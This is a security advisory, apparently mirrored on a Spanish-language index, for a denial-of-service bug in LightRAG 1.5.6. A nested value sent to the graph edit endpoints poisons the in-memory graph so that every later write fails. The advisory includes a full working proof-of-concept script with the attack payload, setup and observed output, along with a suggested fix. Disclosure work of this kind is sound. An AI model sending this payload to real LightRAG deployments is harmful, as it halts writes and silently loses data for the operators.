GHSA-C922-PW4M-4WCV
Persistent Denial of Service via Unvalidated Graph Attribute Injection in LightRAG
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.5.7 | lightrag-hku · -3 d desde divulgación | |
| Divulgación | Publicada | GHSA-C922-PW4M-4WCV divulgada · CVSS 7.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Summary
`POST /graph/entity/edit` merges the caller's `updated_data` dict straight into the stored node with
no key allowlist and no check on the value type. I sent `{"poc_nested": {"any": ["object"]}}` and got
a 500 back, which on its own is unremarkable — but the dict is already in the in-memory NetworkX graph
by then and nothing takes it back out. Every later whole-graph serialization hits the same
`nx.write_graphml` TypeError, so entity writes and document ingestion fail from that point on.
`/graph/relation/edit` has the identical merge and does the identical thing. `/health` and the read
endpoints keep returning 200. A restart clears it.
Details
Affected component
- File: `lightrag/utils_graph.py:325` (the merge), sink at `lightrag/kg/networkx_impl.py:137`
- Endpoint: `POST /graph/entity/edit`, and `POST /graph/relation/edit` for the second copy of the same merge
- Parameter: `updated_data`
- Precondition: one valid `X-API-Key` (or a logged-in session) — `combined_auth`. Nothing else.
The request model puts no constraint on the values at all:
# lightrag/api/routers/graph_routes.py:23-27
class EntityUpdateRequest(BaseModel):
entity_name: str
updated_data: Dict[str, Any]
allow_rename: bool = False
allow_merge: bool = False`Dict[str, Any]` means Pydantic hands through any JSON value — a nested object, a list, null. The
route passes it on unchanged:
# lightrag/api/routers/graph_routes.py:283, 420-425
@router.post("/graph/entity/edit", dependencies=[Depends(combined_auth)])
...
result = await rag.aedit_entity(
entity_name=request.entity_name,
updated_data=request.updated_data,
allow_rename=request.allow_rename,
allow_merge=request.allow_merge,
)and `_edit_entity_impl` merges it into the node it just loaded:
# lightrag/utils_graph.py:325-331
new_node_data = {**node_data, **updated_data}
new_node_data["entity_id"] = new_entity_name
if "entity_name" in new_node_data:
del new_node_data[
"entity_name"
] # Node data should not contain entity_name fieldOnly `entity_id` and `entity_name` are governed here. Any other key the caller invents survives with
whatever value it was given. `upsert_node` puts that dict into the live `nx.Graph`, and persistence
runs afterwards:
# lightrag/kg/networkx_impl.py:131-139
def write_nx_graph(graph: nx.Graph, file_name, workspace="_"):
logger.info(
f"[{workspace}] Writing graph with {graph.number_of_nodes()} nodes, {graph.number_of_edges()} edges"
)
atomic_write(
file_name,
lambda tmp: nx.write_graphml(graph, tmp),
workspace,
)GraphML only encodes scalars, so `write_graphml` raises `TypeError: GraphML does not support type
<class 'dict'> as data values.` The write is aborted — but the mutation happened before the write and
there is no rollback, so the poisoned attribute stays on the node for the life of the process. Since
`write_nx_graph` serializes the *whole* graph, every later persist by any caller re-hits it. That is
the difference between a 500 on one request and an instance that has stopped writing.
`POST /graph/relation/edit` has the same merge on the edge:
# lightrag/utils_graph.py:901
new_edge_data = {**edge_data, **updated_data}I confirmed that one at runtime too (Part B below).
`POST /graph/entity/create` is not affected, and its code is the reason: `acreate_entity` never merges
the caller's dict, it copies six named fields out of it.
# lightrag/utils_graph.py:1092-1100
# Prepare node data with defaults if missing
node_data = {
"entity_id": entity_name,
"entity_type": entity_data.get("entity_type", "UNKNOWN"),
"description": entity_data.get("description", ""),
"source_id": entity_data.get("source_id", "manual_creation"),
"file_path": entity_data.get("file_path", "manual_creation"),
"created_at": int(time.time()),
}Root cause
POST /graph/entity/edit {"entity_name": "<existing>", "updated_data": {"k": {"nested": 1}}}
-> graph_routes.py:283 route guarded by combined_auth only
-> graph_routes.py:25 updated_data: Dict[str, Any] — no allowlist, no scalar constraint
-> graph_routes.py:420 rag.aedit_entity(updated_data=...)
-> utils_graph.py:325 new_node_data = {**node_data, **updated_data} <-- the defect
-> upsert_node() the non-scalar lands in the in-memory nx.Graph, no rollback on failure
-> networkx_impl.py:137 nx.write_graphml(graph, tmp) -> TypeError -> HTTP 500
-> every later persist re-serializes the same poisoned graph and fails identicallyProof of Concept
Two parts. Part A is the `/graph/entity/edit` merge and the resulting outage; Part B is the same
defect on `/graph/relation/edit`. Each part needs a freshly started server, because the poisoning
is what the part is measuring.
I ran this on Windows 11, Python 3.10.1. No API key or network access is needed at run time — the
LLM and embedding backend is a stub you start yourself.
Terminal layout: three terminals in the same empty directory — one for the stub, one for the
server, one for the PoC. The stub and server stay running.
Setup
mkdir lr-f018 && cd lr-f018
python -m venv .venv
# Windows (Git Bash): PY=.venv/Scripts/python.exe
# Linux / macOS: PY=.venv/bin/python
PY=.venv/Scripts/python.exe
$PY -m pip install "lightrag-hku[api]==1.5.6"
mkdir -p rag inputs`stub_backend.py` — an OpenAI-compatible LLM/embedding stub, so no key and no upstream call:
"""Minimal OpenAI-compatible stub so LightRAG has an LLM + embedding backend.
No API key or network needed. Listens on 127.0.0.1:9702."""
import json
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
EXTRACTION = ('("entity"<|>STUB_ENTITY<|>organization<|>stub entity)##\n'
'("content_keywords"<|>stub)<|COMPLETE|>')
class H(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, *a):
pass
def _json(self, obj):
body = json.dumps(obj).encode()
self.send_response(200)
self.send_header("content-type", "application/json")
self.send_header("content-length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
self._json({"data": [{"id": "gpt-4o-mini"}, {"id": "text-embedding-3-small"}]})
def do_POST(self):
n = int(self.headers.get("content-length") or 0)
try:
payload = json.loads(self.rfile.read(n) or b"{}")
except Exception:
payload = {}
if "embeddings" in self.path:
inp = payload.get("input")
k = len(inp) if isinstance(inp, list) else 1
self._json({"object": "list", "model": "stub",
"data": [{"object": "embedding", "index": i,
"embedding": [0.01] * 1536} for i in range(k)],
"usage": {"prompt_tokens": 1, "total_tokens": 1}})
return
self._json({"id": "chatcmpl-stub", "object": "chat.completion", "created": 0,
"model": "stub",
"choices": [{"index": 0, "finish_reason": "stop",
"message": {"role": "assistant",
"content": EXTRACTION}}],
"usage": {"prompt_tokens": 1, "completion_tokens": 1,
"total_tokens": 2}})
ThreadingHTTPServer(("127.0.0.1", 9702), H).serve_forever()`.env` — LightRAG reads this from the startup directory:
HOST=127.0.0.1
PORT=9701
LIGHTRAG_API_KEY=f018key
WORKING_DIR=./rag
INPUT_DIR=./inputs
LLM_BINDING=openai
LLM_MODEL=gpt-4o-mini
LLM_BINDING_HOST=http://127.0.0.1:9702/v1
LLM_BINDING_API_KEY=stub
EMBEDDING_BINDING=openai
EMBEDDING_MODEL=text-embedding-3-small
EMBEDDING_BINDING_HOST=http://127.0.0.1:9702/v1
EMBEDDING_BINDING_API_KEY=stub
EMBEDDING_DIM=1536Terminal 1, then terminal 2:
$PY stub_backend.py
PYTHONUTF8=1 $PY -m lightrag.api.lightrag_server`PYTHONUTF8=1` is needed on Windows only; without it the server dies with a `UnicodeEncodeError` from
its own banner when stdout is redirected. Wait for `GET /health` to return 200 before running the PoC
(cold start took about 40s for me).
`poc_lr_f018.py`
#!/usr/bin/env python3
"""LR-F018 - LightRAG 1.5.6.
One POST /graph/entity/edit whose `updated_data` carries a non-scalar value
poisons the in-memory NetworkX graph. Every later graph write then fails in
nx.write_graphml, so entity/relation writes and document ingestion are dead
instance-wide until the process is restarted. Reads and /health keep working.
python poc_lr_f018.py entity # Part A - the /graph/entity/edit merge
python poc_lr_f018.py relation # Part B - the /graph/relation/edit merge
Each part needs a freshly started server. Exit 0 = reproduced, 1 = not.
"""
import json
import sys
import time
import urllib.error
import urllib.request
BASE = "http://127.0.0.1:9701"
HDR = {"X-API-Key": "f018key", "Content-Type": "application/json"}
NESTED = {"any": ["object"]}
def call(method, path, body=None, timeout=180):
data = json.dumps(body).encode() if body is not None else None
req = urllib.request.Request(BASE + path, data=data, method=method, headers=HDR)
try:
r = urllib.request.urlopen(req, timeout=timeout)
return r.status, r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
except Exception as e:
return type(e).__name__, str(e)[:200]
def mk_entity(name):
return call("POST", "/graph/entity/create",
{"entity_name": name,
"entity_data": {"description": "poc entity", "entity_type": "test",
"source_id": "poc"}})
def ingest(text, source):
st, body = call("POST", "/documents/text", {"text": text, "file_source": source})
if st != 200:
return "ingest-rejected-%s" % st, ""
track = json.loads(body)["track_id"]
for _ in range(40):
time.sleep(2)
st, body = call("GET", "/documents/track_status/" + track)
if st != 200:
continue
docs = json.loads(body).get("documents") or []
if docs and docs[0]["status"] in ("processed", "failed"):
return docs[0]["status"], (docs[0].get("error_msg") or "")
return "timeout", ""
def part_entity():
print("[1] baseline: create an ordinary entity")
s1, _ = mk_entity("F018_VICTIM")
print(" POST /graph/entity/create -> %s" % s1)
print("[2] negative control: create carries the SAME nested value")
s2, b2 = call("POST", "/graph/entity/create",
{"entity_name": "F018_CREATE_NESTED",
"entity_data": {"description": "poc entity", "entity_type": "test",
"source_id": "poc", "poc_nested": NESTED}})
print(" POST /graph/entity/create (nested) -> %s" % s2)
print(" key kept in the returned node? %s" % ("poc_nested" in b2))
s3, _ = mk_entity("F018_CONTROL_BEFORE")
print(" writes still healthy after it -> %s" % s3)
print("[3] baseline: ingest a document")
st_before, _ = ingest("Alpha Corp is based in Berlin.", "f018_before.txt")
print(" POST /documents/text -> document status: %s" % st_before)
payload = {"entity_name": "F018_VICTIM", "updated_data": {"poc_nested": NESTED}}
print("[4] ATTACK: %s" % json.dumps(payload))
s4, b4 = call("POST", "/graph/entity/edit", payload)
print(" POST /graph/entity/edit -> %s %s" % (s4, b4.strip()))
print("[5] are writes still possible?")
s5, b5 = mk_entity("F018_CONTROL_AFTER")
print(" POST /graph/entity/create -> %s %s" % (s5, b5.strip()))
s6, b6 = call("POST", "/graph/entity/edit",
{"entity_name": "F018_CONTROL_BEFORE",
"updated_data": {"description": "an ordinary update"}})
print(" POST /graph/entity/edit (unrelated) -> %s %s" % (s6, b6.strip()))
print("[6] do reads still work?")
s7, b7 = call("GET", "/health")
print(" GET /health -> %s" % s7)
s8, b8 = call("GET", "/graph/label/list")
print(" GET /graph/label/list -> %s %s" % (s8, b8.strip()))
print(" ^ F018_CONTROL_AFTER is served but never reached disk")
print("[7] the injected value is served to every reader")
s9, b9 = call("GET", "/graphs?label=*&max_nodes=50")
hit = ""
if s9 == 200:
for n in json.loads(b9).get("nodes", []):
if n["id"] == "F018_VICTIM":
hit = json.dumps(n["properties"].get("poc_nested"))
print(" GET /graphs -> %s F018_VICTIM.poc_nested = %s" % (s9, hit))
print("[8] ingest the same kind of document again")
st_after, err = ingest("Beta Corp is based in Paris.", "f018_after.txt")
print(" POST /documents/text -> document status: %s" % st_after)
print(" error_msg: %s" % err)
print("")
print("baseline write %s | attack %s | write after %s | edit after %s | reads %s/%s"
% (s3, s4, s5, s6, s7, s8))
print("document ingest: before=%s after=%s" % (st_before, st_after))
ok = (s3 == 200 and s4 == 500 and s5 == 500 and s6 == 500
and s7 == 200 and s8 == 200
and st_before == "processed" and st_after == "failed")
return ok
def part_relation():
print("[1] baseline: two entities and a relation between them")
print(" create A -> %s" % mk_entity("F018_REL_A")[0])
print(" create B -> %s" % mk_entity("F018_REL_B")[0])
s1, _ = call("POST", "/graph/relation/create",
{"source_entity": "F018_REL_A", "target_entity": "F018_REL_B",
"relation_data": {"description": "poc relation", "keywords": "poc",
"source_id": "poc", "weight": 1.0}})
print(" POST /graph/relation/create -> %s" % s1)
s2, _ = mk_entity("F018_REL_CONTROL")
print(" writes healthy before the attack -> %s" % s2)
payload = {"source_id": "F018_REL_A", "target_id": "F018_REL_B",
"updated_data": {"poc_nested": NESTED}}
print("[2] ATTACK: %s" % json.dumps(payload))
s3, b3 = call("POST", "/graph/relation/edit", payload)
print(" POST /graph/relation/edit -> %s %s" % (s3, b3.strip()))
print("[3] are writes still possible?")
s4, b4 = mk_entity("F018_REL_AFTER")
print(" POST /graph/entity/create -> %s %s" % (s4, b4.strip()))
s5, _ = call("GET", "/health")
print(" GET /health -> %s" % s5)
print("")
print("baseline write %s | attack %s | write after %s | health %s" % (s2, s3, s4, s5))
return s2 == 200 and s3 == 500 and s4 == 500 and s5 == 200
part = sys.argv[1] if len(sys.argv) > 1 else "entity"
print("== LR-F018 part: %s ==" % part)
reproduced = part_entity() if part == "entity" else part_relation()
print("RESULT: %s" % ("REPRODUCED" if reproduced else "not reproduced"))
sys.exit(0 if reproduced else 1)Part A — run it
$PY poc_lr_f018.py entityObserved, pasted from recorded run #8. The `error_id` values are random per request:
== LR-F018 part: entity ==
[1] baseline: create an ordinary entity
POST /graph/entity/create -> 200
[2] negative control: create carries the SAME nested value
POST /graph/entity/create (nested) -> 200
key kept in the returned node? False
writes still healthy after it -> 200
[3] baseline: ingest a document
POST /documents/text -> document status: processed
[4] ATTACK: {"entity_name": "F018_VICTIM", "updated_data": {"poc_nested": {"any": ["object"]}}}
POST /graph/entity/edit -> 500 {"detail":"Internal server error (error_id: 3e849af55644)"}
[5] are writes still possible?
POST /graph/entity/create -> 500 {"detail":"Internal server error (error_id: eefed9ff328f)"}
POST /graph/entity/edit (unrelated) -> 500 {"detail":"Internal server error (error_id: 8fb51485ef27)"}
[6] do reads still work?
GET /health -> 200
GET /graph/label/list -> 200 ["F018_CONTROL_AFTER","F018_CONTROL_BEFORE","F018_CREATE_NESTED","F018_VICTIM","STUB_ENTITY"]
^ F018_CONTROL_AFTER is served but never reached disk
[7] the injected value is served to every reader
GET /graphs -> 200 F018_VICTIM.poc_nested = {"any": ["object"]}
[8] ingest the same kind of document again
POST /documents/text -> document status: failed
error_msg: NetworkXStorage[chunk_entity_relation] index flush failed: GraphML does not support type <class 'dict'> as data values.
baseline write 200 | attack 500 | write after 500 | edit after 500 | reads 200/200
document ingest: before=processed after=failed
RESULT: REPRODUCEDExpected: step 4 should be a 400 rejecting the unknown key or the non-scalar value, and steps 5
and 8 should behave exactly as steps 2 and 3 did.
Negative control: step 2 sends the identical `{"poc_nested": {"any": ["object"]}}` to
`/graph/entity/create`. That returns 200, the key is dropped (`key kept in the returned node? False`),
and the next write still succeeds. So the 500s in step 5 are the edit path, not a general reaction to
an odd payload.
Check the two disk claims yourself after the run:
grep -c poc_nested rag/graph_chunk_entity_relation.graphml # 0 - never persisted
grep -c F018_CONTROL_AFTER rag/graph_chunk_entity_relation.graphml # 0 - write lostBoth returned `0` for me. Restart the server and `GET /graph/label/list` no longer lists
`F018_CONTROL_AFTER`, and writes work again.
Part B — the same defect on `/graph/relation/edit`
Restart the server first (`Ctrl-C`, delete `rag/`, start it again), then:
$PY poc_lr_f018.py relationObserved, pasted from recorded run #9:
== LR-F018 part: relation ==
[1] baseline: two entities and a relation between them
create A -> 200
create B -> 200
POST /graph/relation/create -> 200
writes healthy before the attack -> 200
[2] ATTACK: {"source_id": "F018_REL_A", "target_id": "F018_REL_B", "updated_data": {"poc_nested": {"any": ["object"]}}}
POST /graph/relation/edit -> 500 {"detail":"Internal server error (error_id: f7fc60335468)"}
[3] are writes still possible?
POST /graph/entity/create -> 500 {"detail":"Internal server error (error_id: 973b314d2e32)"}
GET /health -> 200
baseline write 200 | attack 500 | write after 500 | health 200
RESULT: REPRODUCEDIf it does not reproduce
| Symptom | Cause | Fix |
|---|---|---|
| Server exits at startup with `UnicodeEncodeError` | Windows console encoding, stdout redirected | start it with `PYTHONUTF8=1` |
| Server asks `Do you want to continue? (yes/NO)` or exits with `EOFError` | no `.env` in the startup directory | create the `.env` above in the directory you launch from |
| Step 1 returns 400 `already exists` | `rag/` carries state from an earlier run | stop the server, delete `rag/`, start again |
| Step 3 reports `timeout` instead of `processed` | the stub is not reachable on 9702 | check terminal 1 is still running |
| Step 4 returns 200 instead of 500 | a non-NetworkX graph backend is configured | the GraphML sink is NetworkX-specific; use the default `WORKING_DIR` setup above |
| Every step returns 401/403 | `X-API-Key` does not match `LIGHTRAG_API_KEY` | both are `f018key` in the files above |
## Impact
Runtime-confirmed. Any caller who can reach `/graph/entity/edit` — one API key, or any logged-in
account; the route only carries `combined_auth` — takes out the knowledge-graph write path on the
instance with a single request. I saw entity create and entity edit return 500 afterwards and a
document ingest land in `failed`. The blast radius is the whole server, not the one entity that was
edited: `write_nx_graph` serializes the entire graph, and every mutating route persists through the
same `_persist_graph_updates` callback, so an unrelated entity's edit fails just the same. Part B
shows it in the other direction — a poisoned *relation* kills entity creates.
Two things make this worse than an ordinary 500. Ingestion keeps *accepting* documents and marking
them `failed` afterwards, and reads keep working, so `/health` stays 200 and a load balancer or uptime
check sees a healthy instance. And writes that happen after the poisoning are visible through the API
but never reach disk — `F018_CONTROL_AFTER` above was returned by `/graph/label/list` while
`grep -c F018_CONTROL_AFTER` on the GraphML file was 0. Anything written between the attack and the
next restart is lost silently.
On integrity: `updated_data` writes arbitrary attacker-named attributes onto the node, and they are
served back to every reader — step 7 shows `GET /graphs` returning
`F018_VICTIM.poc_nested = {"any": ["object"]}`. That is unvalidated attacker data inside the graph
model the API serves. I scored `I:L` on that, nothing more.
The honest bound: the poisoned value never reaches disk, so restarting the process fully recovers
and no stored data is corrupted. This is a sustained outage that needs operator intervention, not a
permanent brick. Diagnosis is the awkward part: the poisoning request logs clearly, but every later
failure is logged against whatever innocent object was being written at the time, with nothing
pointing back at the edit. From the server log of the Part B run:
2026-08-10 09:13:20,565 - lightrag - ERROR - [] Error saving graph: GraphML does not support type <class 'dict'> as data values.
2026-08-10 09:13:20,581 - lightrag - ERROR - Error while creating entity 'F018_REL_AFTER': GraphML does not support type <class 'dict'> as data values.`F018_REL_AFTER` is an ordinary entity with no dict on it anywhere.
I did not test whether an attacker can re-poison faster than an operator can restart, and I make no
claim about that.
## Suggested fix
Filter on the way in, on both edit paths. The create path in the same file already does exactly this
(`utils_graph.py:1093-1100`), so this only makes edit consistent with create.
--- a/lightrag/utils_graph.py
+++ b/lightrag/utils_graph.py
@@
+_EDITABLE_ENTITY_FIELDS = frozenset(
+ {"entity_name", "entity_type", "description", "source_id", "file_path"}
+)
+_EDITABLE_RELATION_FIELDS = frozenset(
+ {"description", "keywords", "source_id", "file_path", "weight"}
+)
+
+
+def _sanitize_updated_data(updated_data: dict, allowed: frozenset) -> dict:
+ """Only known keys, only GraphML-serializable scalars."""
+ clean = {}
+ for key, value in updated_data.items():
+ if key not in allowed:
+ raise ValueError(f"Unknown field '{key}' in updated_data")
+ if value is not None and not isinstance(value, (str, int, float, bool)):
+ raise ValueError(
+ f"Field '{key}' must be a string, number or boolean, "
+ f"got {type(value).__name__}"
+ )
+ clean[key] = value
+ return clean
+
@@ async def _edit_entity_impl(
- new_node_data = {**node_data, **updated_data}
+ updated_data = _sanitize_updated_data(updated_data, _EDITABLE_ENTITY_FIELDS)
+ new_node_data = {**node_data, **updated_data}
@@ async def aedit_relation(
- new_edge_data = {**edge_data, **updated_data}
+ updated_data = _sanitize_updated_data(
+ updated_data, _EDITABLE_RELATION_FIELDS
+ )
+ new_edge_data = {**edge_data, **updated_data}`ValueError` from these functions already surfaces as a 400 on both routes, so no route change is
needed. Tightening `updated_data: Dict[str, Any]` to `Dict[str, Union[str, int, float, bool, None]]`
in `EntityUpdateRequest` and `RelationUpdateRequest` (`graph_routes.py:25`, `:49`) would reject the
non-scalar at the edge as well, and gets a 422 instead of a 500. It does not remove the need for the
allowlist, since a scalar under an arbitrary key still writes an arbitrary attribute.
Worth considering separately: `write_nx_graph` serializing the whole graph means one bad node
attribute stops all persistence. Validating in `upsert_node`, or refusing the upsert rather than
failing at serialization time, would contain this class rather than this instance of it.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Versiones afectadas
1.5.6Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilightrag-hku |
Corregida | 1.5.7 | -3 d | 1.5.7 no afectada |
1.5.7Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c922-pw4m-4wcvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
